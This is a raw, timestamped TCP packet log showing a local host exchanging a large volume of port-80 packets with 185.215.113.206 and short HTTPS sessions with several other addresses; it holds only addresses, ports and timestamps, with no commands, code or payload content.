Nov 16, 2024 19:22:30.176320076 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.176341057 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.176359892 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.176373005 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.176381111 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.176408052 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.176409006 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.176443100 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.176453114 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.176475048 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.176506996 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.176516056 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.176538944 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.176584005 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.176587105 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.176620007 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.176630974 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.176651955 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.176656008 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.176683903 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.176688910 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.176716089 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.176727057 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.176744938 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.176778078 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.176788092 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.176810026 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.176820993 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.176841974 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.176875114 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.176888943 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.176908016 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.176908970 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.176939964 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.176986933 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.176992893 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.177025080 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.177057028 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.177071095 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.177089930 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.177104950 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.177122116 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.177129984 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.177153111 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.177177906 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.177185059 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.177186966 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.177217007 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.177252054 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.177257061 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.177284002 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.177321911 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.177325010 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.177354097 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.177361012 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.177388906 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.177421093 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.177428961 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.177454948 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.177493095 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.177503109 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.177535057 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.177546024 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.177567005 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.177572966 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.177598953 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.177603006 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.177632093 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.177639008 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.177664042 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.177696943 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.177702904 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.177728891 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.177753925 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.177762032 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.177782059 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.177793980 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.177826881 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.177836895 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.177859068 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.177891016 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.177900076 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.177923918 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.177930117 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.177956104 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.177964926 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.177989006 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.177994967 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.178020954 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.178030014 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.178054094 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.178085089 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.178092957 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.178117990 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.178150892 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.178158998 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.178181887 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.178189039 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.178214073 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.178248882 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.178266048 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.178282022 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.178287983 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.178319931 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.178375006 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.178406954 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.178412914 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.178440094 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.178446054 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.178472996 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.178476095 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.178522110 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.178555012 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.178570032 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.178591967 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.178637981 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.178672075 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.178704023 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.178725958 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.178738117 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.178749084 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.178774118 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.178786039 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.178806067 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.178821087 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.178838968 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.178847075 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.178872108 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.178896904 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.178904057 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.178917885 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.178936958 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.178967953 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.178977966 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.179004908 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.179018021 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.179038048 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.179049015 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.179070950 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.179078102 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.179101944 CET	443	49821	20.125.209.212	192.168.2.5
Nov 16, 2024 19:22:30.179127932 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.179143906 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.179157972 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.179160118 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.179174900 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.179177999 CET	49821	443	192.168.2.5	20.125.209.212
Nov 16, 2024 19:22:30.179181099 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.179189920 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.179202080 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.179205894 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.179222107 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.179229021 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.179235935 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.179250956 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.179251909 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.179265976 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.179272890 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.179280043 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.179295063 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.179307938 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.179310083 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.179326057 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.179352045 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.179354906 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.179373026 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.179382086 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.179394007 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.179409027 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.179413080 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.179440975 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.179472923 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.179487944 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.179506063 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.179512978 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.179539919 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.179574966 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.181416988 CET	49821	443	192.168.2.5	20.125.209.212
Nov 16, 2024 19:22:30.181433916 CET	443	49821	20.125.209.212	192.168.2.5
Nov 16, 2024 19:22:30.219187021 CET	443	49823	20.96.153.111	192.168.2.5
Nov 16, 2024 19:22:30.228228092 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.228298903 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.228452921 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.228452921 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.228528023 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.228614092 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.256325960 CET	443	49823	20.96.153.111	192.168.2.5
Nov 16, 2024 19:22:30.256428003 CET	49823	443	192.168.2.5	20.96.153.111
Nov 16, 2024 19:22:30.256618023 CET	49823	443	192.168.2.5	20.96.153.111
Nov 16, 2024 19:22:30.256658077 CET	443	49823	20.96.153.111	192.168.2.5
Nov 16, 2024 19:22:30.261244059 CET	49837	443	192.168.2.5	20.96.153.111
Nov 16, 2024 19:22:30.261311054 CET	443	49837	20.96.153.111	192.168.2.5
Nov 16, 2024 19:22:30.261394024 CET	49837	443	192.168.2.5	20.96.153.111
Nov 16, 2024 19:22:30.261682034 CET	49837	443	192.168.2.5	20.96.153.111
Nov 16, 2024 19:22:30.261708975 CET	443	49837	20.96.153.111	192.168.2.5
Nov 16, 2024 19:22:30.262667894 CET	443	49829	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.263019085 CET	49829	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.263087034 CET	443	49829	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.265408039 CET	443	49826	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.265633106 CET	49826	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.265641928 CET	443	49826	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.265929937 CET	443	49826	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.266820908 CET	443	49829	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.266905069 CET	49829	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.267155886 CET	49826	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.267221928 CET	443	49826	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.267477989 CET	49829	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.267685890 CET	443	49829	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.267693996 CET	49826	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.267738104 CET	49829	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.268569946 CET	443	49828	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.268759012 CET	49828	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.268769026 CET	443	49828	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.269771099 CET	443	49820	13.69.116.109	192.168.2.5
Nov 16, 2024 19:22:30.269839048 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.269913912 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.269927979 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.269951105 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.269965887 CET	49820	443	192.168.2.5	13.69.116.109
Nov 16, 2024 19:22:30.269973993 CET	443	49820	13.69.116.109	192.168.2.5
Nov 16, 2024 19:22:30.269984961 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.270019054 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.270241976 CET	443	49828	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.270308971 CET	49828	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.270831108 CET	443	49820	13.69.116.109	192.168.2.5
Nov 16, 2024 19:22:30.271085024 CET	49820	443	192.168.2.5	13.69.116.109
Nov 16, 2024 19:22:30.271333933 CET	49828	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.271333933 CET	49828	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.271347046 CET	443	49828	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.271419048 CET	443	49828	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.271929979 CET	49820	443	192.168.2.5	13.69.116.109
Nov 16, 2024 19:22:30.271996021 CET	443	49820	13.69.116.109	192.168.2.5
Nov 16, 2024 19:22:30.272084951 CET	49820	443	192.168.2.5	13.69.116.109
Nov 16, 2024 19:22:30.272102118 CET	443	49820	13.69.116.109	192.168.2.5
Nov 16, 2024 19:22:30.272118092 CET	49820	443	192.168.2.5	13.69.116.109
Nov 16, 2024 19:22:30.272150993 CET	443	49820	13.69.116.109	192.168.2.5
Nov 16, 2024 19:22:30.272974968 CET	443	49827	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.273166895 CET	49827	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.273184061 CET	443	49827	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.275253057 CET	443	49825	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.275464058 CET	49825	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.275475025 CET	443	49825	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.278503895 CET	443	49827	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.278565884 CET	49827	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.278953075 CET	49827	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.279067039 CET	49827	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.279073954 CET	443	49827	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.279104948 CET	443	49825	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.279155016 CET	443	49827	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.279170990 CET	49825	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.279606104 CET	49825	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.279700994 CET	49825	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.279706955 CET	443	49825	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.279726028 CET	443	49825	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.280735970 CET	443	49830	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.280961037 CET	49830	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.280972004 CET	443	49830	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.284512997 CET	443	49830	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.284615993 CET	49830	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.285131931 CET	49830	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.285131931 CET	49830	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.285150051 CET	443	49830	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.285305977 CET	443	49830	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.308600903 CET	49829	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.308655024 CET	443	49829	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.311332941 CET	443	49826	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.317785978 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.317838907 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.317871094 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.317877054 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.317893028 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.317903996 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.317914009 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.317954063 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.317985058 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.318002939 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.318006039 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.318037987 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.318106890 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.318125010 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.318166018 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.318176985 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.318209887 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.318243980 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.318252087 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.318281889 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.318293095 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.318326950 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.318353891 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.318377018 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.318378925 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.318418026 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.318428040 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.318460941 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.318469048 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.318487883 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.318520069 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.318538904 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.318557024 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.318572044 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.318599939 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.318649054 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.318649054 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.318698883 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.318731070 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.318739891 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.318767071 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.318778992 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.318811893 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.318844080 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.318854094 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.318872929 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.318886995 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.318907022 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.318922997 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.318955898 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.318965912 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.318986893 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.319036007 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.319067955 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.319080114 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.319116116 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.319120884 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.319147110 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.319179058 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.319210052 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.319236040 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.319242954 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.319253922 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.319278002 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.319283009 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.319310904 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.319345951 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.319377899 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.319411993 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.319417953 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.319459915 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.319493055 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.319530010 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.319540024 CET	80	49770	185.215.113.206	192.168.2.5
